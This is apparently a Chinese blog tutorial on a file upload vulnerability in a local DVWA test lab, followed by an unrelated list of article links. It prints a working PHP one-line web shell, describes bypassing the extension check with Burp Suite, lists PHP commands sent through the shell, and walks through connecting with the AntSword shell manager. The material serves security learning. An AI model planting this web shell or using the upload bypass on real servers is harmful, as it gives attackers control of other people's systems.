文件上传漏洞演示(一句话木马文件 + 蚁剑)
时间:2022-07-23
本文章向大家介绍文件上传漏洞演示(一句话木马文件 + 蚁剑),主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
▌漏洞描述
文件上传未做校验,可以上传木马文件到服务器上,从而获取服务器控制权限
▌演示环境
本地搭建的测试环境 dvwa burpsuite等抓包工具 蚁剑等shell管理工具
▌演示过程详解
➊准备木马文件
新建木马文件shell.php,文件内容为<?php @eval($_REQUEST["shell"]); ?>
<?php
@eval($_REQUEST["shell"]);
?>
➋保存后,将文件后缀名php改为jpg ➌登录dvwa测试环境,将security等级改为‘low’(其它模式,后端也做了校验,无法完成第⑤步的操作),然后打开文件上传模块
➍上传文件,选择第②步保存的shell.jpg,在点击‘Upload’之前,打开burpsuite拦截功能
➎点击‘Upload’,在burpsuite中看到拦截的请求,将文件名修改为为shell.php后,放行
➏在文件上传处发现提示上传成功
➐连接服务器 我们知道了上传的文件路径http://172.16.152.132/DVWA-master/hackable/uploads/shell.php 使用php函数语法,可以进一步探测相关信息
部分php函数
shell=phpinfo() 显示服务器的详细信息
shell=echo(__dir__) 显示当前路径
shell=print_r(scandir(__dir__)) 显示当前目录下的文件
将函数与url拼接会得到相应数据(?拼接,末尾要加;)
➑使用工具,像上一步那样一步一步操作效率太低了,所以用到了蚁剑shell管理工具
操作如下,填写添加url(第⑤上传的shell.php文件路径)http://172.16.152.132/DVWA-master/hackable/uploads/shell.php
填写连接密码(第①步php文件中双引号的内容)shell
其它默认设置,然后点击测试连接
,提示连接成功,点击‘添加
’或‘保存
’,完成
➒已经获取了web的权限,可以使用蚁剑的其它功能做更多的操作
- 【Code】关关的刷题日记21——Leetcode 485. Max Consecutive Ones
- 2017 Multi-University Training Contest - Team 9 1002&&HDU 6162 Ch’s gift【树链部分+线段树】
- 【Java学习笔记之三十二】浅谈Java中throw与throws的用法及异常抛出处理机制剖析
- Linux上访问SQL Server数据库
- 2017 Multi-University Training Contest - Team 9 1001&&HDU 6161 Big binary tree【树形dp+hash】
- 【Java学习笔记之三十三】详解Java中try,catch,finally的用法及分析
- 【Java学习笔记之二十九】Java中的"equals"和"=="的用法及区别
- NET跨平台:在Ubuntu下搭建ASP.NET 5开发环境
- 【Code】关关的刷题日记22——Leetcode 53. Maximum Subarray
- 【Java学习笔记之三十四】超详解Java多线程基础
- Codeforces 842B Gleb And Pizza【几何,水】
- Python3希尔排序
- Codeforces 842A Kirill And The Game【暴力,水】
- Wannafly模拟赛 A.矩阵(二分答案+hash)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 7.wxPython制作一个桌面精灵
- html前端之css绘制形状
- Python 对列表中的字符串首字母大写处理
- 对加密-加签的完整流程
- 加密-解密详解
- 链表中的指针到底是啥 ?
- java8流处理遍历(仅供个人学习)
- Kubernetes 为什么需要策略支持
- iOS富文本之数字小角标
- 50. Vue名称案例-使用keyup事件监听
- 浅谈树形结构的特性和应用(上):多叉树,红黑树,堆,Trie树,B树,B+树...
- 腾讯云-轻量应用服务器SaaS交付Discuz! Q
- LeetCode 刷题技巧与学习方法
- IntelliJ IDEA 2020.2正式发布,诸多亮点总有几款能助你提效
- SQL之单表查询